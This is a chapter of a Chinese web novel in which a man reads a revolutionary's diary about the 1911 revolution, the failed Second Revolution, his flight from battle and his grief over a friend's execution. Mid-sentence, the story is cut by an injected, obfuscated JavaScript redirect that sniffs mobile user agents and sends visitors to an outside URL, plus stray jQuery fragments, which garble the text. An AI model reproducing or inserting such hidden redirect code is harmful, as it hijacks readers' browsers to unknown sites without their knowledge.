沈未明在藏书楼里，又找到了一本日记。
是林觉的。
不对，不是林觉。是另一个人，叫陈天华。
不对，也不是陈天华。
日记的主人，叫方声洞。
沈未明想了想，好像有点印象。
是黄花岗七十二烈士之一？
不对，方声洞是黄花岗的。那是1911年4月的事。
可是这本日记里，写的是武昌起义之后的事。
那应该不是同一个人。
或者，是同名？
沈未明搞不清楚。
他也懒得搞清楚。
他只是，坐在那里，一页一页地读着。
从日记里，他看到了一百多年前，那场轰轰烈烈的革命。
还有，沈佩弦在其中的，身影。
宣统三年，八月十九。
武昌起义的消息，传到上海的时候，是第二天的下午。
那天，沈佩弦正在跟林觉他们开会。
消息传来的时候，所有人都愣住了。
然后，就爆发出了欢呼声。
"成了！"
"我们成功了！"
"革命终于开始了！"
大家都很激动。
有的人，哭了。
有的人，笑了。
有的人，又哭又笑。
沈佩弦也很激动。
他的心跳得很快。
浑身的血，都在沸腾。
他等这一天，等了很久了。
从他第一次听林觉讲革命道理开始。
从他第一次读《革命军》开始。
从他第一次在同盟会的誓约上，签下自己的名字开始。
他就一直在等这一天。
现在，终于等到了。
他觉得，一个新的时代，就要开始了。
一个，没有压迫，没有剥削，人人平等的新时代。
他觉得，他们这些人，就要创造历史了。
接下来的几天，上海的气氛，越来越紧张。
到处都在议论革命。
街上的人，行色匆匆。
店铺，很多都关门了。
大家都在等。
等什么呢？
等上海光复。
同盟会的人，都在忙着准备。
联络新军，联络会党，联络商团。
每个人，都很忙碌。
也很兴奋。
沈佩弦也很忙。
他负责的是宣传工作。
写传单，写标语，写文章。
他文笔好，写出来的东西，很有感染力。
林觉说，他写的传单，能顶一个营的兵力。
沈佩弦听了，很高兴。
他觉得，自己终于能为革命，做点什么了。
虽然，不是拿刀拿枪，上战场。
但是，用笔，也能战斗。
他每天，都写到很晚。
有时候，一写就是一夜。
他不觉得累。
他觉得，浑身都有使不完的劲。
因为，他有理想。
有信仰。
他相信，他们做的事情，是对的。
是伟大的。
是会被历史铭记的。
九月十三日，上海光复了。
比预想的，还要顺利。
几乎没遇到什么抵抗。
上海道台，跑了。
上海知县，也跑了。
革命军，几乎是兵不血刃，就拿下了上海。
那天，上海的街上，到处都是人。
大家都在欢呼。
"革命成功了！"
"民国万岁！"
很多人，把辫子剪了。
扔在地上，踩来踩去。
像在跟过去的日子，告别。
沈佩弦也剪了辫子。
他摸着自己光秃秃的后脑勺，觉得有点别扭。
但是，更多的是兴奋。
他觉得，自己跟过去那个旧时代，彻底决裂了。
他现在，是一个新人了。
一个，新时代的新人。
那天晚上，他们聚会，庆祝了一整夜。
喝酒，唱歌，喊口号。
每个人，都很开心。
每个人，都对未来，充满了希望。
沈佩弦喝了很多酒。
喝醉了。
他哭了。
不是因为难过。
是因为，太高兴了。
他想起了林微。
他想，等局势稳定了，他就回家。
去跟他爹说。
去林家提亲。
他要风风光光地，把林微娶进门。
他要给她一个，太平盛世。
他要让她，成为这个新时代里，最幸福的女人。
可是，事情，没有他们想的那么简单。
上海光复了。
可是，全国还有很多地方，在朝廷的手里。
仗，还在打。
而且，打得很激烈。
更重要的是，革命党内部，也开始有矛盾了。
有的人，主张北伐，直捣黄龙。
有的人，主张议和，跟袁世凯谈判。
有的人，说要建立共和。
有的人，说要君主立宪。
吵来吵去，没完没了。
沈佩弦有点懵。
他本来以为，革命成功了，就万事大吉了。
没想到，还有这么多麻烦事。
他问林觉："我们不是已经成功了吗？为什么还要吵？"
林觉苦笑了一下，说："佩弦，你太天真了。"
"革命，不是那么简单的。"
"推翻一个旧制度容易，建立一个新制度，难。"
沈佩弦不太懂。
他觉得，只要大家同心协力，就没有办不成的事。
可是，他慢慢发现，不是这样的。
大家，好像都有自己的想法。
都有自己的小算盘。
并不是所有人，都像他想的那样，一心为公。
有的人，是为了权力。
有的人，是为了钱财。
有的人，是为了出名。
真正有理想的，有几个呢？
沈佩弦有点失望。
他觉得，革命，好像不是他想象中的那个样子。
十月，袁世凯出山了。
他带着北洋军，南下。
仗，打得越来越激烈了。
汉口，汉阳，相继失守。
革命军，节节败退。
上海的气氛，又开始紧张了。
大家都在议论。
说袁世凯很厉害。
说北洋军很能打。
说革命，恐怕要失败了。
同盟会的人，也开始慌了。
有的人，主张赶紧北伐，跟袁世凯决一死战。
有的人，主张赶紧议和，保住现有成果。
还有的人，已经开始偷偷收拾东西，准备跑路了。
沈佩弦很气愤。
他觉得，这些人，太没有骨气了。
不就是打了几个败仗吗？有什么大不了的？
当年，太平天国那么厉害，不也被镇压下去了吗？
不对，太平天国是被镇压的。
那我们呢？
我们会不会，也被镇压下去？
沈佩弦不敢想。
但是，他还是相信，革命一定会成功的。
因为，他们是正义的。
正义的事业，一定会胜利。
这是他的信仰。
十一月，孙中山先生回来了。
从海外，回来了。
消息传来，所有人都很振奋。
孙中山先生，是革命的领袖。
是大家的精神支柱。
他回来了，大家就有主心骨了。
沈佩弦也很激动。
他终于，能见到他仰慕已久的孙先生了。
十二月，孙中山先生，在南京，就任临时大总统。
中华民国，正式成立了。
那天，上海又一次，沸腾了。
大家都在庆祝。
庆祝民国成立。
庆祝一个新时代的开始。
沈佩弦也很开心。
他觉得，这下，应该是真的成功了吧？
皇帝，已经退位了。
民国，已经建立了。
接下来，就是建设国家了。
他想，他可以回家了。
可以去提亲了。
可以跟林微，过安稳日子了。
可是，他没想到，事情，还没有结束。
民国元年，二月。
清帝退位了。
两千多年的帝制，终于结束了。
所有人，都松了一口气。
觉得，这下，终于太平了。
可是，紧接着，就出问题了。
孙中山先生，辞去了临时大总统的职务。
袁世凯，当上了大总统。
很多人，都想不通。
为什么？
我们革命，好不容易成功了。
为什么，要把大总统的位置，让给袁世凯？
那个，满清的旧臣？
那个，镇压革命的刽子手？
林觉跟他解释说，这是为了大局。
为了避免战争，为了国家统一。
袁世凯手里有兵，有实力。
如果不让位给他，他就会打仗。
到时候，生灵涂炭，受苦的还是老百姓。
沈佩弦听了，觉得好像有点道理。
但是，他心里，还是不舒服。
他觉得，这不对。
革命，怎么能是这个样子？
我们抛头颅洒热血，难道就是为了，让袁世凯当大总统？
那我们革命的意义，在哪里？
他想不通。
接下来的几个月，局势，越来越乱了。
袁世凯上台之后，开始排挤革命党人。
安插自己的亲信。
扩充自己的势力。
革命党人，当然不甘心。
于是，双方的矛盾，越来越深。
上海的气氛，又开始紧张了。
大家都在说，要打仗了。
要二次革命了。
沈佩弦很迷茫。
他不知道，这一切，到底是怎么回事。
不是已经革命成功了吗？
不是已经建立民国了吗？
为什么，还要打仗？
为什么，还要死人？
他的理想，开始动摇了。
他本来以为，革命成功了，就一切都好了。
可是现在看来，好像不是这样。
革命之后，还有这么多麻烦事。
而且，好像比革命之前，还要乱。
那他们革命，到底是为了什么？
沈佩弦想不通。
七月，二次革命爆发了。
江西，安徽，广东，相继宣布独立。
讨伐袁世凯。
上海，也响应了。
陈其美，在上海，起兵讨袁。
林觉也参加了。
他问沈佩弦："佩弦，你要不要一起去？"
沈佩弦犹豫了。
他有点怕。
他从来没打过仗。
他连枪，都没怎么摸过。
他只是个文人。
他只会写诗，只会写文章。
让他上战场，他能行吗？
而且，他觉得，这次革命，能成功吗？
袁世凯那么厉害。
北洋军那么能打。
他们这些人，能打得过吗？
万一失败了，怎么办？
会不会，掉脑袋？
沈佩弦的心里，很矛盾。
一方面，他觉得，作为革命党人，他应该去。
这是他的责任。
另一方面，他又害怕。
他怕死。
他还年轻。
他还有很多事情，没有做。
他还没有娶林微。
他还没有，过上他想要的生活。
他不想死。
林觉看着他犹豫的样子，叹了口气。
"佩弦，"他说，"我知道，你是个文人。打仗，不是你的强项。"
"你要是不想去，就别去了。"
"留在上海，做宣传工作，也一样是为革命做贡献。"
沈佩弦抬起头，看着林觉。
他从林觉的眼睛里，看到了失望。
他的心里，一阵愧疚。
他觉得，自己太懦弱了。
林觉都敢去，他为什么不敢？
他不是说，要为革命献身吗？
怎么到了关键时刻，就退缩了？
他咬了咬牙。
"不，"他说，"我去。"
林觉愣了一下。
"你确定？"
"嗯。"沈佩弦点了点头，"我确定。"
"我是革命党人。"他说，"革命需要我的时候，我不能退缩。"
林觉看着他，看了很久。
然后，他拍了拍沈佩弦的肩膀，说："好样的，佩弦。"
"我就知道，你不是个懦夫。"
沈佩弦笑了笑。
笑得有点勉强。
他的心里，其实还是怕。
但是，他不能说。
他不能让别人，看不起他。
七月二十三日，上海讨袁军，攻打江南制造局。
沈佩弦，也在队伍里。
他拿着一把枪。
是那种，最老式的步枪。
很重。
他的手，一直在抖。
不是因为累。
是因为，害怕。
他长这么大，还从来没见过这么大的阵仗。
到处都是人。
到处都是枪。
还有，大炮。
"轰隆隆"的，响个不停。
地动山摇的。
他觉得，自己的心脏，都快要跳出来了。
林觉在他旁边，拍了拍他的肩膀，说："别怕，佩弦。"
"跟着我，没事的。"
沈佩弦点了点头。
可是，他的腿，还是软的。
他想，他会不会，死在这里？
他死了，林微怎么办？
她会不会，等他一辈子？
还是说，会嫁给别人？
沈佩弦不敢想。
战斗，开始了。
"冲啊！"
不知道是谁，喊了一声。
然后，大家就都往前冲。
沈佩弦也跟着，往前冲。
他的脑子里，一片空白。
他不知道，自己在做什么。
他只是，机械地，跟着前面的人，往前跑。
子弹，"嗖嗖"地，从耳边飞过。
"噗噗"地，打在地上，溅起一片尘土。
有人，倒了下去。
再也没起来。
沈佩弦吓得，魂都快没了。
他想停下来。
他想躲起来。
可是，后面的人，一直在往前涌。
他停不下来。
他只能，硬着头皮，往前冲。
冲了不知道多久。
突然，前面的人，开始往后退。
"败了！"
"我们败了！"
"快跑啊！"
大家都在喊。
然后，就都往回跑。
兵败如山倒。
沈佩弦也跟着，往回跑。
他跑得比谁都快。
他的脑子里，只有一个念头。
跑。
快跑。
跑得越远越好。
他不想死。
他要活着。
他要活着回去，见林微。
沈佩弦跑了很久。
直到，再也听不到枪声了。
他才停下来。
扶着墙，大口大口地喘气。
他的衣服，都湿透了。
不知道是汗，还是别的什么。
他回头看了看。
身后，一个人都没有。
大家都跑散了。
林觉呢？
林觉去哪里了？
沈佩弦的心里，咯噔一下。
他不会……出事了吧？
沈佩弦想回去找他。
可是，他又不敢。
他怕，回去了，就再也回不来了。
他站在那里，犹豫了很久。
最后，他还是，转身走了。
他没有回去找林觉。
他自己，跑了。
沈佩弦躲在一个小巷子里。
躲了一天一夜。
直到，外面的动静，小了。
他才敢出来。
他打听了一下。
讨袁军，败了。
陈其美，跑了。
很多人，都死了。
也有很多人，被抓了。
林觉呢？
没有人知道。
有人说，他死了。
有人说，他被抓了。
也有人说，他跑了。
不知道去了哪里。
沈佩弦的心里，很乱。
他不知道，林觉到底怎么样了。
他很担心。
可是，他又不敢去找。
他怕，被袁世凯的人抓住。
他只能，躲在租界里。
偷偷地，打听消息。
过了几天，消息传来了。
林觉，被抓了。
关在监狱里。
听说，很快就要枪毙了。
沈佩弦听到这个消息，如遭雷击。
他的第一个念头是，去救他。
可是，怎么救？
他一个人，手无寸铁。
怎么从监狱里，把人救出来？
那不是找死吗？
可是，不救的话，林觉就死定了。
林觉是他最好的朋友。
是他革命的引路人。
他怎么能，见死不救？
沈佩弦的心里，很矛盾。
救，还是不救？
救的话，他可能也会死。
不救的话，他这辈子，都会良心不安。
他想了很久。
最后，他还是，没有去。
他不敢。
他怕死。
他只能，躲在租界里。
每天，提心吊胆的。
等着，林觉被枪毙的消息。
七月底，林觉被枪毙了。
跟他一起的，还有好几个革命党人。
消息传来的时候，沈佩弦正在吃饭。
他手里的碗，"啪"的一声，掉在了地上。
碎了。
饭，撒了一地。
他坐在那里，愣了很久。
然后，他就哭了。
哭得很伤心。
他觉得，是他害死了林觉。
如果，那天他没有跑。
如果，他跟林觉在一起。
说不定，林觉就不会被抓了。
又或者，如果他勇敢一点。
去劫狱。
说不定，就能把林觉救出来。
可是，他没有。
他逃跑了。
他退缩了。
他眼睁睁地，看着自己最好的朋友，去死。
而他，什么都没做。
他觉得，自己太懦弱了。
太没用了。
太可耻了。
林觉死了之后，沈佩弦就病了。
是心病。
他每天，都把自己关在房间里。
不吃，也不喝。
也不说话。
就那么坐着。
发呆。
他的脑子里，翻来覆去的，都是林觉的样子。
还有，那天战斗的场景。
还有，他逃跑的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735658|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
候，那种狼狈的样子。
他觉得，自己就是个懦夫。
一个，可耻的懦夫。
他以前，还总说，要为革命献身。
说什么，人生自古谁无死，留取丹心照汗青。
可是，真到了生死关头。
他跑得比谁都快。
他觉得，自己以前说的那些话，都像耳光一样。
一下一下地，打在他脸上。
火辣辣的疼。
沈未明读到这里，停了下来。
他合上日记，坐在那里，愣了很久。
他没想到，沈佩弦还有这样的经历。
他一直以为，沈佩弦是个革命志士。
是个英雄。
没想到，他也有这么懦弱的时候。
也有这么，不光彩的一面。
可是，沈未明觉得，他能理解。
换作是他，他可能也会跑。
谁不怕死呢？
那些说不怕死的，有几个是真的？
真到了生死关头，能不腿软的，有几个？
沈佩弦，只是个普通人。
一个，有理想，但是也怕死的普通人。
他不是英雄。
他只是个，被时代裹挟着的，小人物。
沈未明叹了口气。
他想起了托尔斯泰。
托尔斯泰写战争，写历史。
他从来都不写，什么英雄伟人。
他写的，都是普通人。
那些，在历史的洪流里，身不由己的普通人。
他们有理想，也有恐惧。
有高尚，也有卑劣。
他们，才是历史的真正组成者。
沈佩弦，就是这样一个普通人。
他的理想，他的懦弱，他的愧疚。
都是那么真实。
那么，有血有肉。
沈未明继续往下读。
后面的内容，越来越消沉了。
林觉死了之后，沈佩弦就变了。
他不再像以前那样，意气风发了。
也不再像以前那样，对革命充满热情了。
他变得，沉默寡言。
变得，郁郁寡欢。
他每天，都喝很多酒。
喝醉了，就哭。
哭林觉。
也哭他自己。
哭他死去的理想。
哭他死去的，青春。
他还写了很多诗。
都是很悲伤的。
很颓废的。
跟以前的诗，完全不一样了。
以前的诗，虽然也有忧伤。
但是，忧伤里，还有希望。
现在的诗，只剩下绝望了。
沈未明读着，都觉得压抑。
他能感觉到，沈佩弦心里的那种痛苦。
那种，理想破灭的痛苦。
那种，愧疚的痛苦。
那种，对自己失望的痛苦。
那种，深入骨髓的，痛苦。
二次革命失败之后，袁世凯开始大肆捕杀革命党人。
上海，也待不下去了。
很多革命党人，都逃亡了。
有的去了日本。
有的去了南洋。
也有的，躲在租界里。
沈佩弦，也躲在租界里。
他不敢出去。
他怕，被袁世凯的人抓住。
他每天，都提心吊胆的。
像个老鼠似的，躲在阴暗的角落里。
他想过，也逃去日本。
可是，他又放不下林微。
林微还在上海。
他走了，林微怎么办？
而且，他也没有钱。
逃亡，是需要钱的。
他的钱，都花得差不多了。
他想回家。
回苏州，回观澜堂。
可是，他又不敢。
他怕，他爹骂他。
他怕，家里人看不起他。
他出来的时候，意气风发的。
说要干一番大事业。
现在，灰溜溜地回去。
算怎么回事？
而且，他爹本来就反对他革命。
要是让他爹知道，他革命失败了。
还不知道，会怎么说他呢。
沈佩弦的心里，很矛盾。
走，也不是。
留，也不是。
他不知道，该怎么办。
就在这个时候，家里来人了。
是沈观澜派来的。
来接他回家。
来人说，老爷知道了这边的事。
很担心他。
让他赶紧回家。
家里，永远是他的家。
沈佩弦听到这话，眼泪就下来了。
他以为，他爹会骂他。
会看不起他。
没想到，他爹还是，惦记着他。
还是，愿意接纳他。
那一刻，他觉得，自己以前，太不懂事了。
他爹说的那些话，其实，都是对的。
他太天真了。
太幼稚了。
革命，哪里是那么容易的？
理想，哪里是那么好实现的？
他爹吃的盐，比他吃的米都多。
他爹走过的桥，比他走过的路都多。
他爹说的话，都是有道理的。
可惜，他明白得太晚了。
沈佩弦跟着来人，回家了。
走的那天，他去了一趟林家。
他想，跟林微告个别。
可是，他没敢进去。
他站在林家的门口，站了很久。
最后，还是走了。
他觉得，自己没脸见她。
他答应过她，要给她一个太平盛世。
可是，他没有做到。
他不仅没有做到。
还，落荒而逃。
他觉得，自己配不上她了。
他想，等他以后，有出息了。
再回来，找她。
那时候，他就有脸见她了。
可是，他不知道。
这一走，就是很多年。
等他再回来的时候，一切，都已经不一样了。
沈未明读到这里，天已经亮了。
他坐在藏书楼里，看着窗外，慢慢亮起来的天空。
坐了很久。
他想起了沈佩弦。
想起了他的青春。
想起了他的理想。
想起了他的爱情。
想起了他的失败。
想起了他的愧疚。
这就是，一代人的故事吗？
满怀理想地出发。
然后，被现实，撞得头破血流。
最后，灰溜溜地，回家。
理想，破灭了。
爱情，也错过了。
只剩下，一身的疲惫。
和，满心的伤痕。
沈未明叹了口气。
他想起了一句话。
"时代的一粒灰，落在个人头上，就是一座山。"
沈佩弦，就是被这座山，压住了。
他的理想，他的爱情，他的青春。
都被这座山，压得粉碎。
可是，这能怪谁呢？
怪他自己？
怪他太天真？太懦弱？
还是，怪这个时代？
沈未明不知道。
他只知道，这样的故事，在那个年代，肯定还有很多很多。
不止沈佩弦一个。
还有千千万万的，年轻人。
他们的理想，他们的青春，都埋葬在了，那个动荡的年代里。
没有人记得。
没有人知道。
就像，从来没有发生过一样。
沈未明站起身，活动了一下身体。
坐了一夜，腿都麻了。
他走到窗边，推开窗户。
清晨的风，吹了进来。
带着露水的味道。
还有，桂花的香味。
很清新。
沈未明深吸了一口气。
他觉得，心里，闷闷的。
像被什么东西堵住了。
他想起了沈佩弦。
想起了林觉。
想起了林微。
想起了那些，在革命中死去的人。
他们，都曾经年轻过。
都曾经，有过理想。
都曾经，以为自己能改变世界。
可是最后呢？
什么都没有改变。
或者说，改变了，但是，不是他们想象中的那个样子。
那他们的牺牲，有意义吗？
沈未明不知道。
也许，有吧。
也许，没有。
谁知道呢？
历史，本来就是一笔糊涂账。
谁又能说得清呢？
沈未明在窗前，站了很久。
直到，太阳升起来了。
金色的阳光，洒进屋子里。
把那些灰尘，都照得清清楚楚的。
沈未明看着那些，在阳光里飞舞的灰尘。
突然觉得，那些灰尘，就像那些，被历史遗忘的人。
轻飘飘的。
没有分量。
没有人记得。
没有人在乎。
就那么，飘来飘去。
最后，落在某个角落里。
慢慢被人遗忘。
就像，从来没有存在过一样。
沈未明叹了口气。
他转过身，往藏书楼门口走去。
他该回去了。
该吃点东西了。
坐了一夜，他都饿了。
走到门口，他又回头看了一眼。
阳光，照在那些旧书上。
泛着，淡淡的金光。
好像，那些过去的人和事，都在这金光里，活了过来。
又好像，什么都没有。
只有，书。
和，灰尘。